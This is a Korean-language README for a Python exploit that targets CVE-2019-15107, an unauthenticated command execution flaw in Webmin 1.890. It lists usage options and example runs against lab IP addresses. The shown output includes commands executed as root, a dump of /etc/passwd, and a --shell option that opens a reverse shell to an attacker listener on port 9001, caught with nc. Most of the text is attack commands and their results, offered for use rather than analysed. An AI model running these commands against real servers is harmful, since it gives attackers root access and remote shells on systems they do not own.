
CVE-2019-15107 Webmin 인증되지 않은 RCE
이 스크립트는 Webmin 1.890의 인증되지 않은 명령 실행 취약점을 악용하도록 설계되었습니다. 이를 통해 대상 Webmin 서버에서 임의의 명령을 실행하거나 리버스 셸을 얻을 수 있습니다.
이 익스플로잇은 5개의 인자를 받습니다:
$ python3 test.py -h
usage: test.py [-h] -i IP Address [-p Port number] [-c Command] [--shell] [-x]
Exploit unauthenticated command execution in Webmin 1.890.
options:
-h, --help show this help message and exit
required arguments:
-i IP Address, --ip IP Address
Target ip address
optional arguments:
-p Port number, --port Port number
Webmin port(default=10000)
-c Command, --command Command
OS Command to execute (Default=id)
--shell Get a reverse shell
-x, --proxy Sends requests through Burp Suite proxy at 127.0.0.1:8080.
Example:
python exploit.py -i 192.168.1.100
python exploit.py -i 192.168.1.100 -p 10000 -c whoami
python exploit.py -i 192.168.1.100 -x -c "ls -la"
python exploit.py -i 192.168.1.100 --shell
유일한 필수 옵션은 대상의 IP 주소인 -i입니다.
-i만 지정하여 익스플로잇을 실행하면 포트 10000에서 대상에 대해 id 명령이 실행됩니다.
$ python3 exploit.py -i 10.200.105.200
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
-c 또는 --command 옵션을 사용하여 실행할 명령을 지정할 수 있습니다:
$ python3 exploit.py -i 10.200.105.200 -c 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
[...]
--shell 옵션을 사용하여 리버스 셸을 얻을 수도 있습니다.
IP 주소와 리스닝 포트를 입력하라는 메시지가 표시됩니다:
$ python3 exploit.py -i 10.200.105.200 --shell
Enter your ip address: 10.50.106.33
Enter your listening port: 9001
[+] Sending a shell to 10.50.106.33:9001...
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.50.106.33] from (UNKNOWN) [10.200.105.200] 41446
[root@prod-serv ]#
-x 또는 --proxy 옵션을 추가하면 127.0.0.1:8080의 burp 프록시를 통해 요청을 보낼 수 있습니다.